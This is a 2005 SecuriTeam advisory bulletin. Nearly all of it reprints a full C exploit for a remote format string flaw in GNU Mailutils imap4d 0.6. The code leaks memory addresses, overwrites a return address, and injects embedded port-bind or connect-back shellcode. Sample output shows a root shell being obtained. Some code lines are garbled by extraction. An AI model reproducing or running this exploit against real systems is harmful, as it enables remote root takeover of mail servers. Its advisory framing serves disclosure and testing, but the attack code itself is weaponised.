

[EXPL] GNU Mailutils IMAP4d Format String (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0052.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/10/05

To: list@securiteam.com

Date: 10 Aug 2005 15:14:33 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

GNU Mailutils IMAP4d Format String (Exploit)

SUMMARY

As reported earlier, GNU Mailutils IMAP4 daemon is vulnerable to a format string vulnerability, exploiting this vulnerability allows malicious attackers to run arbitrary code on vulnerable system, the following exploit code can be used to test your system for the mentioned vulnerability. For more information see:

<<http://www.securiteam.com/exploits/5YP0E0KG0W.html>>

<http://www.securiteam.com/exploits/5YP0E0KG0W.html>

DETAILS

Vulnerable Systems:

- * GNU Mailutils version 0.6 and prior

Immune Systems:

- * GNU Mailutils 0.6.90 or newer

Exploit Code:

```
/* mu-imap4d_fsexp.c
```

```
*
```

Securiteam: [EXPL] GNU Mailutils IMAP4d Format String (Exploit)

```
* GNU Mailutils imap4d v0.6 remote format string exploit
* by CoKi <coki at nosystem.com dot ar>
*
* Original Reference:
*
http://www.odefense.com/application/poi/display?id=246&type=vulnerabilities
*
coki@nosystem:/home/coki/audit$ ./mu-imap4d_fsexp
*
* GNU Mailutils imap4d v0.6 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* use: ./mu-imap4d_fsexp -h <target_host> [-p <target_port>]
* ./mu-imap4d_fsexp -h <target_host> -c <your_host> [-b <your_port>]
*
* -p target imapd port (143 by default)
* -c your host/ip
* -b your port (45295 by default)
*
coki@nosystem:/home/coki/audit$ ./mu-imap4d_fsexp -h 10.0.0.1
*
* GNU Mailutils imap4d v0.6 remote format string exploit
* by CoKi <coki@nosystem.com.ar>
*
* [*] verifying host : 10.0.0.1
* [*] imapd port : 143
* [*] connecting... : done!
*
* [*] getting target info...
* [*] buffer address : 0x08059810
* [*] shellcode address : 0x080599a0
* [*] basic return address : 0xbffffa28
*
* [*] searching ret address... : 0xbffff988
*
* [!] you have a shell :)
*
* Linux firewall 2.4.31 #1 SMP Wed Jun 22 23:13:19 ART 2005 i586 unknown
* uid=0(root) gid=12(mail)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
* Tested in Slackware Linux 9.0 / 10.0 / 10.1
*
* by CoKi <coki at nosystem.com dot ar>
* No System Group - http://www.nosystem.com.ar
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
```

Securiteam: [EXPL] GNU Mailutils IMAP4d Format String (Exploit)

```
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFERSIZE 2048
#define ERROR -1
#define TIMEOUT 3
#define PORTBIND 5074
#define CONNBACK 45295
#define IMAPD 143

void use(char *program);
int check(unsigned long addr);
int connect_timeout(int sfd, struct sockaddr *serv_addr,
    socklen_t addrlen, int timeout);
void exploit(char *host, unsigned int imapdport);
void shell(char *host, unsigned port);
void getinfo(char *host, unsigned int imapdport);
int chkshaddr(char *host, unsigned int imapdport, int i);

/*
 * s0t4ipv6@Shellcode.com.ar
 * x86 portbind a shell in port 5074
 * 92 bytes.
 */

char port_bind[] =
    "\x31\xc0\x50\x40\x89\xc3\x50\x40"
    "\x50\x89\xe1\xb0\x66\xcd\x80\x31"
    "\xd2\x52\x66\x68\x13\xd2\x43\x66"
    "\x53\x89\xe1\x6a\x10\x51\x50\x89"
    "\xe1\xb0\x66\xcd\x80\x40\x89\x44"
    "\x24\x04\x43\x43\xb0\x66\xcd\x80"
    "\x83\xc4\x0c\x52\x52\x43\xb0\x66"
    "\xcd\x80\x93\x89\xd1\xb0\x3f\xcd"
    "\x80\x41\x80\xf9\x03\x75\xf6\x52"
    "\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
    "\x62\x69\x89\xe3\x52\x53\x89\xe1"
    "\xb0\x0b\xcd\x80";

/*
 * BSD x86 shellcode by eSDee of Netric (www.netric.org)
 * 124 byte – connect back shellcode (port=0xb0ef)
 */

char conn_back[] =
    "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
```

Securiteam: [EXPL] GNU Mailutils IMAP4d Format String (Exploit)

```
"\x06\x51\xb1\x01\x51\xb1\x02\x51"  
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"  
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"  
"\x68\xff\xff\xff\xff\x66\x68\xff"  
    "\xff\xb1\x02\x66\x51\x89\xe7\xb3"  
    "\x10\x53\x57\x52\x89\xe1\xb3\x03"  
    "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"  
    "\x74\x06\x31\xc0\xb0\x01\xcd\x80"  
    "\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"  
    "\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"  
    "\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"  
    "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"  
    "\x50\x68\x6e\x2f\x73\x68\x68\x2f"  
    "\x2f\x62\x69\x89\xe3\x50\x53\x89"  
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"  
"\x01\xcd\x80";
```

```
int bretaddr=0, shaddr=0;
```

```
unsigned int pos=0, cback=0, shsize;
```

```
unsigned short rport=CONNBACK;
```

```
in_addr_t rhost=0;
```

```
int main(int argc, char *argv[]) {
```

```
    char opt, *host=NULL, *rh=NULL;
```

```
    int sockfd;
```

```
        unsigned int imapdport=IMAPD;
```

```
        struct hostent *he;
```

```
        struct sockaddr_in dest_dir;
```

```
        printf("\n GNU Mailutils imap4d v0.6 remote format string  
exploit\n");
```

```
        printf(" by CoKi <coki@nosystem.com.ar>\n\n");
```

```
        while((opt = getopt(argc,argv,"h:p:c:b:")) != EOF) {
```

```
            switch (opt) {
```

```
                case 'h':
```

```
                    host = optarg;
```

```
                    break;
```

```
                case 'p':
```

```
                    imapdport = atoi(optarg);
```

```
                    break;
```

```
                case 'c':
```

```
                    rhost = inet_addr(optarg);
```

```
                    rh = optarg;
```

```
                    cback++;
```

```
                    break;
```

```
                case 'b':
```

```
                    rport = atoi(optarg);
```

```
                    break;
```

```
                default:
```

```
                    use(argv[0]);
```

Securiteam: [EXPL] GNU Mailutils IMAP4d Format String (Exploit)

```
        break;
    }
}

if(host == NULL) use(argv[0]);

if(cback) {
    printf(" [*] verifying your host\t:");
    fflush(stdout);

    if((he=gethostbyname(rh)) == NULL) {
        perror(" gethostbyname()");
        printf("\n");
        exit(1);
    }

    shsize = strlen(conn_back);

    conn_back[33]=(rhost & 0x000000ff);
    conn_back[34]=(rhost & 0x0000ff00) >> 8;
    conn_back[35]=(rhost & 0x00ff0000) >> 16;
    conn_back[36]=(rhost & 0xff000000) >> 24;

    conn_back[39]=(rport & 0xff00) >> 8;
    conn_back[40]=(rport & 0x00ff);

    printf(" %s\n", inet_ntoa*((struct in_addr
*)he->h_addr));
    printf(" [*] connect back port\t\t: %u\n", rport);
}

if(strlen(conn_back) < shsize) {
    printf("\n [!] failed! your host or port contain
null-bytes\n\n");
    exit(1);
}

printf(" [*] verifying target host\t:");

if((he=gethostbyname(host)) == NULL) {
    perror(" gethostbyname()");
    printf("\n");
    exit(1);
}

printf(" %s\n", inet_ntoa*((struct in_addr *)he->h_addr));
printf(" [*] target imapd port\t\t: %u\n\n", imapdport);

printf(" [*] connecting...\t:");
fflush(stdout);
```

Securiteam: [EXPL] GNU Mailutils IMAP4d Format String (Exploit)

```
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
    perror(" socket()");
    printf("\n");
    exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(imapdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
    sizeof(struct sockaddr), TIMEOUT) == ERROR) {

printf(" closed\n\n");
exit(1);
}

printf(" done!\n\n");

getinfo(host, imapdport);

exploit(host, imapdport);
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
    socklen_t addrlen, int timeout) {

    int res, slen, flags;
    struct timeval tv;
    struct sockaddr_in addr;
    fd_set rdf, wrf;

    fcntl(sfd, F_SETFL, O_NONBLOCK);

    res = connect(sfd, serv_addr, addrlen);

    if (res >= 0) return res;

    FD_ZERO(&rdf);
    FD_ZERO(&wrf);

    FD_SET(sfd, &rdf);
    FD_SET(sfd, &wrf);
    bzero(&tv, sizeof(tv));
    tv.tv_sec = timeout;

    if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
        return -1;
}
```

Securiteam: [EXPL] GNU Mailutils IMAP4d Format String (Exploit)

```
if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
    slen = sizeof(addr);
    if (getpeername(sfd, (struct sockaddr*)&addr, &slen) ==
-1)
        return -1;

    flags = fcntl(sfd, F_GETFL, NULL);
    fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

    return 0;
}

return -1;
}

void shell(char *host, unsigned int port) {
    int sockfd, n;
    char buff[BUFFERSIZE], *command = "uname -a; id;\n";
    fd_set readfs;
    struct hostent *he;
    struct sockaddr_in dest_dir;

    he=gethostbyname(host);

    sockfd=socket(AF_INET, SOCK_STREAM, 0);

    dest_dir.sin_family = AF_INET;
    dest_dir.sin_port = htons(port);
    dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
    bzero(&(dest_dir.sin_zero), 8);

    if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
        sizeof(struct sockaddr), TIMEOUT) == ERROR) {

        printf("\r\r");
    }

    else {
        printf("\n\n [!] you have a shell :)\n\n");
        fflush(stdout);

        send(sockfd, command, strlen(command), 0);

        while(1) {
            FD_ZERO(&readfs);
            FD_SET(0, &readfs);
            FD_SET(sockfd, &readfs);
            if(select(sockfd+1, &readfs, NULL, NULL, NULL) <
1) exit(0);
            if(FD_ISSET(0,&readfs)) {
                if((n = read(0,buff,sizeof(buff))) < 1)
```

Securiteam: [EXPL] GNU Mailutils IMAP4d Format String (Exploit)

```
        exit(0);
        if(send(sockfd, buff, n, 0) != n) exit(0);
    }
    if(FD_ISSET(sockfd,&readfs) {
        if((n = recv(sockfd, buff, sizeof(buff),
0)) < 1) exit(0);
        write(1, buff, n);
    }
}
}

void getinfo(char *host, unsigned int imapdport) {
    char recvbuf[BUFFERSIZE], evilcmd[BUFFERSIZE],
temp[BUFFERSIZE], *addr=NULL;
    struct hostent *he;
    struct sockaddr_in dest_dir;
    int sockfd, i;

    if((he=gethostbyname(host)) == NULL) {
        perror(" gethostbyname()");
        printf("\n");
        exit(1);
    }

    printf(" [*] getting target info...\n");
    fflush(stdout);

    for(i=1; i<50; i++) {

        bzero(recvbuf, sizeof(recvbuf));

        sockfd=socket(AF_INET, SOCK_STREAM, 0);

        dest_dir.sin_family = AF_INET;
        dest_dir.sin_port = htons(imapdport);
        dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
        bzero(&(dest_dir.sin_zero), 8);

        connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
            sizeof(struct sockaddr), TIMEOUT);

        read(sockfd, recvbuf, sizeof(recvbuf));

        memset(evilcmd, 0x00, sizeof(evilcmd));
        memset(evilcmd, 0x41, 496);
        strcat(evilcmd, "BBBBBBBBBBBB");
        sprintf(temp, "%%%u$.8p\n", i);
        strcat(evilcmd, temp);
    }
}
```

Securiteam: [EXPL] GNU Mailutils IMAP4d Format String (Exploit)

```
write(sockfd, evilcmd, strlen(evilcmd));
read(sockfd, recvbuf, sizeof(recvbuf));

close(sockfd);

addr = strstr(recvbuf, ".");

if(pos == 0) if(strstr(addr, "42424242")) pos = i;

if(shaddr == 0) {
    if(strstr(addr, "0x08")) {
        if(chkshaddr(host, imapdport, i)) {
            shaddr = strtoul(++addr, 0, 0);
            printf("[*] buffer address\t\t:
%.8p\n", shaddr);
            shaddr += 350;
            printf("[*] shellcode
address\t\t: %.8p\n", shaddr);
        }
    }
}

if(bretaddr == 0) {
    if(strstr(addr, "0xbf")) {
        bretaddr = strtoul(++addr, 0, 0);
        printf("[*] basic return address\t:
%.8p\n", bretaddr);
    }
}

if(pos != 0 && shaddr != 0 && bretaddr != 0) break;
}

if(shaddr == 0) {
    printf("[*] shellcode address\t\t: not found!\n\n");
    exit(1);
}

if(bretaddr == 0) {
    printf("[*] basic return address\t: not found!\n\n");
    exit(1);
}

printf("\n");
}

int chkshaddr(char *host, unsigned int imapdport, int i) {
    char recvbuf[BUFFERSIZE], evilcmd[BUFFERSIZE],
temp[BUFFERSIZE], *addr=NULL;
    struct hostent *he;
    struct sockaddr_in dest_dir;
```

Securiteam: [EXPL] GNU Mailutils IMAP4d Format String (Exploit)

```
int sockfd;

he=gethostbyname(host);

bzero(recvbuf, sizeof(recvbuf));

sockfd=socket(AF_INET, SOCK_STREAM, 0);

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(imapdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
                sizeof(struct sockaddr), TIMEOUT);

read(sockfd, recvbuf, sizeof(recvbuf));

memset(evilcmd, 0x00, sizeof(evilcmd));
memset(evilcmd, 0x41, 496);
strcat(evilcmd, "BBBBBBBBBBBB");
sprintf(temp, "%%%u$s\n", i);
strcat(evilcmd, temp);

write(sockfd, evilcmd, strlen(evilcmd));
read(sockfd, recvbuf, sizeof(recvbuf));

close(sockfd);

if(strstr(recvbuf, "$s")) return 1;

else return 0;
}

void exploit(char *host, unsigned int imapdport) {
    char evilcmd[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE];
    int cn1, cn2, cn3, cn4, sockfd, retaddr;
    unsigned int bal1, bal2, bal3, bal4;
    struct hostent *he;
    struct sockaddr_in dest_dir;

    if((he=gethostbyname(host)) == NULL) {
        perror(" gethostbyname()");
        printf("\n");
        exit(1);
    }

    for(retaddr=bretaddr; retaddr>=(bretaddr-500); retaddr -= 4) {

        printf(" [*] searching ret address...\t: %010p", retaddr);
        fflush(stdout);
```

Securiteam: [EXPL] GNU Mailutils IMAP4d Format String (Exploit)

```
bzero(evilcmd, sizeof(evilcmd));
memset(evilcmd, 0x90, 496);

if(cback) memcpy(evilcmd + 350, conn_back,
strlen(conn_back));

else memcpy(evilcmd + 350, port_bind, strlen(port_bind));

bzero(temp, sizeof(temp));
sprintf(temp, "%s", &retaddr);
strncat(evilcmd, temp, 4);
retaddr++;
sprintf(temp, "%s", &retaddr);
strncat(evilcmd, temp, 4);
retaddr++;
sprintf(temp, "%s", &retaddr);
strncat(evilcmd, temp, 4);

bal1 = (shaddr & 0xffff0000) >> 16;
bal2 = (shaddr & 0x0000ffff);

cn1 = bal2 - 496 - 12;
cn1 = check(cn1);
cn2 = bal1 - bal2;
cn2 = check(cn2);

sprintf(temp, "%%du%%u$%%du%%u$", cn1, pos, cn2,
pos+2);
strcat(evilcmd, temp);
strcat(evilcmd, "\n");

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
    perror(" socket");
    printf("\n");
    exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(imapdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

    printf(" closed\n\n");
    exit(1);
}

if (read(sockfd, recvbuf, sizeof(recvbuf)) <= 0) {
    perror(" read()");
}
```

Securiteam: [EXPL] GNU Mailutils IMAP4d Format String (Exploit)

```
        printf("\n");
        exit(1);
    }

    if (write(sockfd, evilcmd, strlen(evilcmd)) <= 0) {
perror(" write()");
printf("\n");
exit(1);
}

close(sockfd);

if(cback) {
printf("\r\r");
continue;
}

    else shell(host, PORTBIND);

retaddr -= 2;
}

if(cback) printf("\n\n [!] finished!\n\n");

else printf("\n\n [!] failed!\n\n");
}

int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 10)
addr = addr + 65536;
return addr;
}

void use(char *program) {
printf(" use: %s -h <target_host> [-p <target_port>]\n", program);
printf(" %s -h <target_host> -c <your_host> [-b <your_port>]\n\n",
program);
printf(" -p target imapd port (143 by default)\n");
printf(" -c your host/ip\n");
printf(" -b your port (45295 by default)\n\n");
exit(1);
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:coki@nosystem.com.ar>> CoKi.

=====

Securiteam: [EXPL] GNU Mailutils IMAP4d Format String (Exploit)

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.